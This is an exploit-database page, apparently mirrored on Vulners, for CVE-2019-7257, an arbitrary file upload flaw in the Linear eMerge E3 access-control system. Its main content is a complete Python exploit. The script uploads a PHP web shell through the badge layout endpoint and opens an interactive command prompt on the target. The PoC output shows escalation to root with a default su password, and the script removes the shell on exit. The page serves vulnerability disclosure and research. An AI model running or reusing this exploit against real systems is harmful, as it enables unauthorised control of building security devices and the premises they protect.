Lucene search
K

eMerge E3 1.00-06 - Arbitrary File Upload Exploit

🗓️ 12 Nov 2019 00:00:00Reported by LiquidWormType 
zdt
 zdt
🔗 0day.today👁 82 Views

Arbitrary File Upload Exploit in eMerge E3 1.00-0

Related
Code
ReporterTitlePublishedViews
Family
CNVD
Nortek Security & Control Linear eMerge E3-Series Code Issue Vulnerability
3 Jul 201900:00
cnvd
Check Point Advisories
Linear eMerge Arbitrary File Upload (CVE-2019-7257)
28 Mar 202100:00
checkpoint_advisories
CVE
CVE-2019-7257
2 Jul 201918:16
cve
Cvelist
CVE-2019-7257
2 Jul 201918:16
cvelist
Exploit DB
eMerge E3 1.00-06 - Arbitrary File Upload
12 Nov 201900:00
exploitdb
exploitpack
eMerge E3 1.00-06 - Arbitrary File Upload
12 Nov 201900:00
exploitpack
ICS
Nice Linear eMerge E3-Series
5 Mar 202407:00
ics
NVD
CVE-2019-7257
2 Jul 201919:15
nvd
OSV
CVE-2019-7257
2 Jul 201919:15
osv
Packet Storm
Linear eMerge E3 1.00-06 Arbitrary File Upload Remote Root Code Execution
12 Nov 201900:00
packetstorm
Rows per page
# Exploit Title: eMerge E3 1.00-06 - Arbitrary File Upload
# Exploit Author: LiquidWorm
# Vendor Homepage: http://linear-solutions.com/nsc_family/e3-series/
# Software Link: http://linear-solutions.com/nsc_family/e3-series/
# Version: 1.00-06
# Tested on: NA
# CVE : CVE-2019-7257
# Advisory: https://applied-risk.com/resources/ar-2019-009
# Paper: https://applied-risk.com/resources/i-own-your-building-management-system
# Advisory: https://applied-risk.com/resources/ar-2019-005

# PoC
#####################################################################
#
# [email protected]:~/stuff$ python e3upload.py 192.168.1.2
# Starting exploit at 17.01.2019 13:04:17
#
# [email protected]:/spider/web/webroot/badging/bg$ id
# uid=1003(lighttpd) gid=0(root)
#
# [email protected]:/spider/web/webroot/badging/bg$ echo davestyle | su -c id
# Password: 
# uid=0(root) gid=0(root) groups=0(root)
#
# [email protected]:/spider/web/webroot/badging/bg$ exit
#
# [+] Deleting webshell.php file...
# [+] Done!
#
#####################################################################

import datetime
import requests
import sys#####
import os######

piton = os.path.basename(sys.argv[0])

badge = "/badging/badge_layout_new_v0.php"
shell = "/badging/bg/webshell.php"

if len(sys.argv) < 2:
	print "\n\x20\x20[*] Usage: "+piton+" <ipaddress:port>\n"
	sys.exit()

ipaddr = sys.argv[1]
vremetodeneska = datetime.datetime.now()

print "Starting exploit at "+vremetodeneska.strftime("%d.%m.%Y %H:%M:%S")
print

while True:
    try:
        target = "http://"+ipaddr+badge

        headers = {"User-Agent": "Brozilla/16.0",
                   "Accept": "anything",
                   "Accept-Language": "mk-MK,mk;q=0.7",
                   "Accept-Encoding": "gzip, deflate",
                   "Content-Type": "multipart/form-data; boundary=----j",
                   "Connection": "close"}

        payload = ("------j\r\nContent-Disposition: form-da"
                   "ta; name=\"layout_name\"\r\n\r\nwebshel"
                   "l.php\r\n------j\r\nContent-Disposition"
                   ": form-data; name=\"bg\"; filename=\"we"
                   "bshell.php\"\r\nContent-Type: applicati"
                   "on/octet-stream\r\n\r\n<?\nif($_GET['cm"
                   "d']) {\n  system($_GET['cmd']);\n  }\n?"
                   ">\n\r\n------j--\r\n")

        requests.post(target, headers=headers, data=payload)

        cmd = raw_input("[email protected]"+ipaddr+":/spider/web/webroot/badging/bg$ ")
        execute = requests.get("http://"+ipaddr+shell+"?cmd="+cmd)
        print execute.text
        if cmd.strip() == "exit":
            print "[+] Deleting webshell.php file..."
            requests.get("http://"+ipaddr+shell+"?cmd=rm%20webshell.php")
            print "[+] Done!\n"
            break
        else: continue
    except Exception:
        print "Error!"
        break

sys.exit()

#  0day.today [2019-12-04]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation